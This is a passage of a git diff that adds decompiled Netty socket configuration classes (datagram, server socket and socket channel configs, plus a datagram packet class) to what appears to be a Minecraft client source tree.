+  public abstract ChannelFuture leaveGroup(InetSocketAddress paramInetSocketAddress, NetworkInterface paramNetworkInterface);
+  
+  public abstract ChannelFuture leaveGroup(InetSocketAddress paramInetSocketAddress, NetworkInterface paramNetworkInterface, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture leaveGroup(InetAddress paramInetAddress1, NetworkInterface paramNetworkInterface, InetAddress paramInetAddress2);
+  
+  public abstract ChannelFuture leaveGroup(InetAddress paramInetAddress1, NetworkInterface paramNetworkInterface, InetAddress paramInetAddress2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture block(InetAddress paramInetAddress1, NetworkInterface paramNetworkInterface, InetAddress paramInetAddress2);
+  
+  public abstract ChannelFuture block(InetAddress paramInetAddress1, NetworkInterface paramNetworkInterface, InetAddress paramInetAddress2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture block(InetAddress paramInetAddress1, InetAddress paramInetAddress2);
+  
+  public abstract ChannelFuture block(InetAddress paramInetAddress1, InetAddress paramInetAddress2, ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/channel/socket/DatagramChannelConfig.java b/src/minecraft/io/netty/channel/socket/DatagramChannelConfig.java
new file mode 100644
index 0000000..4f9bf8b
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/DatagramChannelConfig.java
@@ -0,0 +1,64 @@
+package io.netty.channel.socket;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import java.net.InetAddress;
+import java.net.NetworkInterface;
+
+public abstract interface DatagramChannelConfig
+  extends ChannelConfig
+{
+  public abstract int getSendBufferSize();
+  
+  public abstract DatagramChannelConfig setSendBufferSize(int paramInt);
+  
+  public abstract int getReceiveBufferSize();
+  
+  public abstract DatagramChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract int getTrafficClass();
+  
+  public abstract DatagramChannelConfig setTrafficClass(int paramInt);
+  
+  public abstract boolean isReuseAddress();
+  
+  public abstract DatagramChannelConfig setReuseAddress(boolean paramBoolean);
+  
+  public abstract boolean isBroadcast();
+  
+  public abstract DatagramChannelConfig setBroadcast(boolean paramBoolean);
+  
+  public abstract boolean isLoopbackModeDisabled();
+  
+  public abstract DatagramChannelConfig setLoopbackModeDisabled(boolean paramBoolean);
+  
+  public abstract int getTimeToLive();
+  
+  public abstract DatagramChannelConfig setTimeToLive(int paramInt);
+  
+  public abstract InetAddress getInterface();
+  
+  public abstract DatagramChannelConfig setInterface(InetAddress paramInetAddress);
+  
+  public abstract NetworkInterface getNetworkInterface();
+  
+  public abstract DatagramChannelConfig setNetworkInterface(NetworkInterface paramNetworkInterface);
+  
+  public abstract DatagramChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract DatagramChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract DatagramChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract DatagramChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract DatagramChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract DatagramChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract DatagramChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract DatagramChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/socket/DatagramPacket.java b/src/minecraft/io/netty/channel/socket/DatagramPacket.java
new file mode 100644
index 0000000..9b3bf76
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/DatagramPacket.java
@@ -0,0 +1,66 @@
+package io.netty.channel.socket;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.channel.DefaultAddressedEnvelope;
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DatagramPacket
+  extends DefaultAddressedEnvelope<ByteBuf, InetSocketAddress>
+  implements ByteBufHolder
+{
+  public DatagramPacket(ByteBuf data, InetSocketAddress recipient)
+  {
+    super(data, recipient);
+  }
+  
+
+
+
+  public DatagramPacket(ByteBuf data, InetSocketAddress recipient, InetSocketAddress sender)
+  {
+    super(data, recipient, sender);
+  }
+  
+  public DatagramPacket copy()
+  {
+    return new DatagramPacket(((ByteBuf)content()).copy(), (InetSocketAddress)recipient(), (InetSocketAddress)sender());
+  }
+  
+  public DatagramPacket duplicate()
+  {
+    return new DatagramPacket(((ByteBuf)content()).duplicate(), (InetSocketAddress)recipient(), (InetSocketAddress)sender());
+  }
+  
+  public DatagramPacket retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public DatagramPacket retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/DefaultDatagramChannelConfig.java b/src/minecraft/io/netty/channel/socket/DefaultDatagramChannelConfig.java
new file mode 100644
index 0000000..1f8fed9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/DefaultDatagramChannelConfig.java
@@ -0,0 +1,421 @@
+package io.netty.channel.socket;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.FixedRecvByteBufAllocator;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.DatagramSocket;
+import java.net.InetAddress;
+import java.net.MulticastSocket;
+import java.net.NetworkInterface;
+import java.net.SocketException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDatagramChannelConfig
+  extends DefaultChannelConfig
+  implements DatagramChannelConfig
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(DefaultDatagramChannelConfig.class);
+  
+  private static final RecvByteBufAllocator DEFAULT_RCVBUF_ALLOCATOR = new FixedRecvByteBufAllocator(2048);
+  
+  private final DatagramSocket javaSocket;
+  
+  private volatile boolean activeOnOpen;
+  
+
+  public DefaultDatagramChannelConfig(DatagramChannel channel, DatagramSocket javaSocket)
+  {
+    super(channel);
+    if (javaSocket == null) {
+      throw new NullPointerException("javaSocket");
+    }
+    this.javaSocket = javaSocket;
+    setRecvByteBufAllocator(DEFAULT_RCVBUF_ALLOCATOR);
+  }
+  
+
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_BROADCAST, ChannelOption.SO_RCVBUF, ChannelOption.SO_SNDBUF, ChannelOption.SO_REUSEADDR, ChannelOption.IP_MULTICAST_LOOP_DISABLED, ChannelOption.IP_MULTICAST_ADDR, ChannelOption.IP_MULTICAST_IF, ChannelOption.IP_MULTICAST_TTL, ChannelOption.IP_TOS, ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION });
+  }
+  
+
+
+
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_BROADCAST) {
+      return Boolean.valueOf(isBroadcast());
+    }
+    if (option == ChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == ChannelOption.SO_SNDBUF) {
+      return Integer.valueOf(getSendBufferSize());
+    }
+    if (option == ChannelOption.SO_REUSEADDR) {
+      return Boolean.valueOf(isReuseAddress());
+    }
+    if (option == ChannelOption.IP_MULTICAST_LOOP_DISABLED) {
+      return Boolean.valueOf(isLoopbackModeDisabled());
+    }
+    if (option == ChannelOption.IP_MULTICAST_ADDR) {
+      return getInterface();
+    }
+    if (option == ChannelOption.IP_MULTICAST_IF) {
+      return getNetworkInterface();
+    }
+    if (option == ChannelOption.IP_MULTICAST_TTL) {
+      return Integer.valueOf(getTimeToLive());
+    }
+    if (option == ChannelOption.IP_TOS) {
+      return Integer.valueOf(getTrafficClass());
+    }
+    if (option == ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION) {
+      return Boolean.valueOf(activeOnOpen);
+    }
+    return super.getOption(option);
+  }
+  
+
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_BROADCAST) {
+      setBroadcast(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_SNDBUF) {
+      setSendBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_REUSEADDR) {
+      setReuseAddress(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.IP_MULTICAST_LOOP_DISABLED) {
+      setLoopbackModeDisabled(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.IP_MULTICAST_ADDR) {
+      setInterface((InetAddress)value);
+    } else if (option == ChannelOption.IP_MULTICAST_IF) {
+      setNetworkInterface((NetworkInterface)value);
+    } else if (option == ChannelOption.IP_MULTICAST_TTL) {
+      setTimeToLive(((Integer)value).intValue());
+    } else if (option == ChannelOption.IP_TOS) {
+      setTrafficClass(((Integer)value).intValue());
+    } else if (option == ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION) {
+      setActiveOnOpen(((Boolean)value).booleanValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  private void setActiveOnOpen(boolean activeOnOpen) {
+    if (channel.isRegistered()) {
+      throw new IllegalStateException("Can only changed before channel was registered");
+    }
+    this.activeOnOpen = activeOnOpen;
+  }
+  
+  public boolean isBroadcast() {
+    try {
+      return javaSocket.getBroadcast();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public DatagramChannelConfig setBroadcast(boolean broadcast)
+  {
+    try
+    {
+      if ((broadcast) && (!PlatformDependent.isWindows()) && (!PlatformDependent.isRoot()) && (!javaSocket.getLocalAddress().isAnyLocalAddress()))
+      {
+
+
+
+        logger.warn("A non-root user can't receive a broadcast packet if the socket is not bound to a wildcard address; setting the SO_BROADCAST flag anyway as requested on the socket which is bound to " + javaSocket.getLocalSocketAddress() + '.');
+      }
+      
+
+
+
+
+      javaSocket.setBroadcast(broadcast);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public InetAddress getInterface()
+  {
+    if ((javaSocket instanceof MulticastSocket)) {
+      try {
+        return ((MulticastSocket)javaSocket).getInterface();
+      } catch (SocketException e) {
+        throw new ChannelException(e);
+      }
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+
+  public DatagramChannelConfig setInterface(InetAddress interfaceAddress)
+  {
+    if ((javaSocket instanceof MulticastSocket)) {
+      try {
+        ((MulticastSocket)javaSocket).setInterface(interfaceAddress);
+      } catch (SocketException e) {
+        throw new ChannelException(e);
+      }
+    } else {
+      throw new UnsupportedOperationException();
+    }
+    return this;
+  }
+  
+  public boolean isLoopbackModeDisabled()
+  {
+    if ((javaSocket instanceof MulticastSocket)) {
+      try {
+        return ((MulticastSocket)javaSocket).getLoopbackMode();
+      } catch (SocketException e) {
+        throw new ChannelException(e);
+      }
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+
+  public DatagramChannelConfig setLoopbackModeDisabled(boolean loopbackModeDisabled)
+  {
+    if ((javaSocket instanceof MulticastSocket)) {
+      try {
+        ((MulticastSocket)javaSocket).setLoopbackMode(loopbackModeDisabled);
+      } catch (SocketException e) {
+        throw new ChannelException(e);
+      }
+    } else {
+      throw new UnsupportedOperationException();
+    }
+    return this;
+  }
+  
+  public NetworkInterface getNetworkInterface()
+  {
+    if ((javaSocket instanceof MulticastSocket)) {
+      try {
+        return ((MulticastSocket)javaSocket).getNetworkInterface();
+      } catch (SocketException e) {
+        throw new ChannelException(e);
+      }
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+
+  public DatagramChannelConfig setNetworkInterface(NetworkInterface networkInterface)
+  {
+    if ((javaSocket instanceof MulticastSocket)) {
+      try {
+        ((MulticastSocket)javaSocket).setNetworkInterface(networkInterface);
+      } catch (SocketException e) {
+        throw new ChannelException(e);
+      }
+    } else {
+      throw new UnsupportedOperationException();
+    }
+    return this;
+  }
+  
+  public boolean isReuseAddress()
+  {
+    try {
+      return javaSocket.getReuseAddress();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public DatagramChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    try {
+      javaSocket.setReuseAddress(reuseAddress);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getReceiveBufferSize()
+  {
+    try {
+      return javaSocket.getReceiveBufferSize();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public DatagramChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    try {
+      javaSocket.setReceiveBufferSize(receiveBufferSize);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getSendBufferSize()
+  {
+    try {
+      return javaSocket.getSendBufferSize();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public DatagramChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    try {
+      javaSocket.setSendBufferSize(sendBufferSize);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getTimeToLive()
+  {
+    if ((javaSocket instanceof MulticastSocket)) {
+      try {
+        return ((MulticastSocket)javaSocket).getTimeToLive();
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+
+  public DatagramChannelConfig setTimeToLive(int ttl)
+  {
+    if ((javaSocket instanceof MulticastSocket)) {
+      try {
+        ((MulticastSocket)javaSocket).setTimeToLive(ttl);
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    } else {
+      throw new UnsupportedOperationException();
+    }
+    return this;
+  }
+  
+  public int getTrafficClass()
+  {
+    try {
+      return javaSocket.getTrafficClass();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public DatagramChannelConfig setTrafficClass(int trafficClass)
+  {
+    try {
+      javaSocket.setTrafficClass(trafficClass);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public DatagramChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public DatagramChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public DatagramChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public DatagramChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public DatagramChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public DatagramChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public DatagramChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public DatagramChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public DatagramChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public DatagramChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/DefaultServerSocketChannelConfig.java b/src/minecraft/io/netty/channel/socket/DefaultServerSocketChannelConfig.java
new file mode 100644
index 0000000..3edd54a
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/DefaultServerSocketChannelConfig.java
@@ -0,0 +1,201 @@
+package io.netty.channel.socket;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.util.NetUtil;
+import java.net.ServerSocket;
+import java.net.SocketException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultServerSocketChannelConfig
+  extends DefaultChannelConfig
+  implements ServerSocketChannelConfig
+{
+  protected final ServerSocket javaSocket;
+  private volatile int backlog = NetUtil.SOMAXCONN;
+  
+
+
+  public DefaultServerSocketChannelConfig(ServerSocketChannel channel, ServerSocket javaSocket)
+  {
+    super(channel);
+    if (javaSocket == null) {
+      throw new NullPointerException("javaSocket");
+    }
+    this.javaSocket = javaSocket;
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_RCVBUF, ChannelOption.SO_REUSEADDR, ChannelOption.SO_BACKLOG });
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == ChannelOption.SO_REUSEADDR) {
+      return Boolean.valueOf(isReuseAddress());
+    }
+    if (option == ChannelOption.SO_BACKLOG) {
+      return Integer.valueOf(getBacklog());
+    }
+    
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_REUSEADDR) {
+      setReuseAddress(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_BACKLOG) {
+      setBacklog(((Integer)value).intValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  public boolean isReuseAddress()
+  {
+    try {
+      return javaSocket.getReuseAddress();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public ServerSocketChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    try {
+      javaSocket.setReuseAddress(reuseAddress);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getReceiveBufferSize()
+  {
+    try {
+      return javaSocket.getReceiveBufferSize();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public ServerSocketChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    try {
+      javaSocket.setReceiveBufferSize(receiveBufferSize);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setPerformancePreferences(int connectionTime, int latency, int bandwidth)
+  {
+    javaSocket.setPerformancePreferences(connectionTime, latency, bandwidth);
+    return this;
+  }
+  
+  public int getBacklog()
+  {
+    return backlog;
+  }
+  
+  public ServerSocketChannelConfig setBacklog(int backlog)
+  {
+    if (backlog < 0) {
+      throw new IllegalArgumentException("backlog: " + backlog);
+    }
+    this.backlog = backlog;
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public ServerSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/DefaultSocketChannelConfig.java b/src/minecraft/io/netty/channel/socket/DefaultSocketChannelConfig.java
new file mode 100644
index 0000000..397337b
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/DefaultSocketChannelConfig.java
@@ -0,0 +1,341 @@
+package io.netty.channel.socket;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.util.internal.PlatformDependent;
+import java.net.Socket;
+import java.net.SocketException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSocketChannelConfig
+  extends DefaultChannelConfig
+  implements SocketChannelConfig
+{
+  protected final Socket javaSocket;
+  private volatile boolean allowHalfClosure;
+  
+  public DefaultSocketChannelConfig(SocketChannel channel, Socket javaSocket)
+  {
+    super(channel);
+    if (javaSocket == null) {
+      throw new NullPointerException("javaSocket");
+    }
+    this.javaSocket = javaSocket;
+    
+
+    if (PlatformDependent.canEnableTcpNoDelayByDefault()) {
+      try {
+        setTcpNoDelay(true);
+      }
+      catch (Exception e) {}
+    }
+  }
+  
+
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_RCVBUF, ChannelOption.SO_SNDBUF, ChannelOption.TCP_NODELAY, ChannelOption.SO_KEEPALIVE, ChannelOption.SO_REUSEADDR, ChannelOption.SO_LINGER, ChannelOption.IP_TOS, ChannelOption.ALLOW_HALF_CLOSURE });
+  }
+  
+
+
+
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == ChannelOption.SO_SNDBUF) {
+      return Integer.valueOf(getSendBufferSize());
+    }
+    if (option == ChannelOption.TCP_NODELAY) {
+      return Boolean.valueOf(isTcpNoDelay());
+    }
+    if (option == ChannelOption.SO_KEEPALIVE) {
+      return Boolean.valueOf(isKeepAlive());
+    }
+    if (option == ChannelOption.SO_REUSEADDR) {
+      return Boolean.valueOf(isReuseAddress());
+    }
+    if (option == ChannelOption.SO_LINGER) {
+      return Integer.valueOf(getSoLinger());
+    }
+    if (option == ChannelOption.IP_TOS) {
+      return Integer.valueOf(getTrafficClass());
+    }
+    if (option == ChannelOption.ALLOW_HALF_CLOSURE) {
+      return Boolean.valueOf(isAllowHalfClosure());
+    }
+    
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_SNDBUF) {
+      setSendBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.TCP_NODELAY) {
+      setTcpNoDelay(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_KEEPALIVE) {
+      setKeepAlive(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_REUSEADDR) {
+      setReuseAddress(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_LINGER) {
+      setSoLinger(((Integer)value).intValue());
+    } else if (option == ChannelOption.IP_TOS) {
+      setTrafficClass(((Integer)value).intValue());
+    } else if (option == ChannelOption.ALLOW_HALF_CLOSURE) {
+      setAllowHalfClosure(((Boolean)value).booleanValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  public int getReceiveBufferSize()
+  {
+    try {
+      return javaSocket.getReceiveBufferSize();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public int getSendBufferSize()
+  {
+    try {
+      return javaSocket.getSendBufferSize();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public int getSoLinger()
+  {
+    try {
+      return javaSocket.getSoLinger();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public int getTrafficClass()
+  {
+    try {
+      return javaSocket.getTrafficClass();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public boolean isKeepAlive()
+  {
+    try {
+      return javaSocket.getKeepAlive();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public boolean isReuseAddress()
+  {
+    try {
+      return javaSocket.getReuseAddress();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public boolean isTcpNoDelay()
+  {
+    try {
+      return javaSocket.getTcpNoDelay();
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public SocketChannelConfig setKeepAlive(boolean keepAlive)
+  {
+    try {
+      javaSocket.setKeepAlive(keepAlive);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+
+  public SocketChannelConfig setPerformancePreferences(int connectionTime, int latency, int bandwidth)
+  {
+    javaSocket.setPerformancePreferences(connectionTime, latency, bandwidth);
+    return this;
+  }
+  
+  public SocketChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    try {
+      javaSocket.setReceiveBufferSize(receiveBufferSize);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public SocketChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    try {
+      javaSocket.setReuseAddress(reuseAddress);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public SocketChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    try {
+      javaSocket.setSendBufferSize(sendBufferSize);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public SocketChannelConfig setSoLinger(int soLinger)
+  {
+    try {
+      if (soLinger < 0) {
+        javaSocket.setSoLinger(false, 0);
+      } else {
+        javaSocket.setSoLinger(true, soLinger);
+      }
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public SocketChannelConfig setTcpNoDelay(boolean tcpNoDelay)
+  {
+    try {
+      javaSocket.setTcpNoDelay(tcpNoDelay);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public SocketChannelConfig setTrafficClass(int trafficClass)
+  {
+    try {
+      javaSocket.setTrafficClass(trafficClass);
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public boolean isAllowHalfClosure()
+  {
+    return allowHalfClosure;
+  }
+  
+  public SocketChannelConfig setAllowHalfClosure(boolean allowHalfClosure)
+  {
+    this.allowHalfClosure = allowHalfClosure;
+    return this;
+  }
+  
+  public SocketChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public SocketChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public SocketChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public SocketChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public SocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public SocketChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public SocketChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public SocketChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public SocketChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public SocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/DuplexChannel.java b/src/minecraft/io/netty/channel/socket/DuplexChannel.java
new file mode 100644
index 0000000..631efd0
--- /dev/null
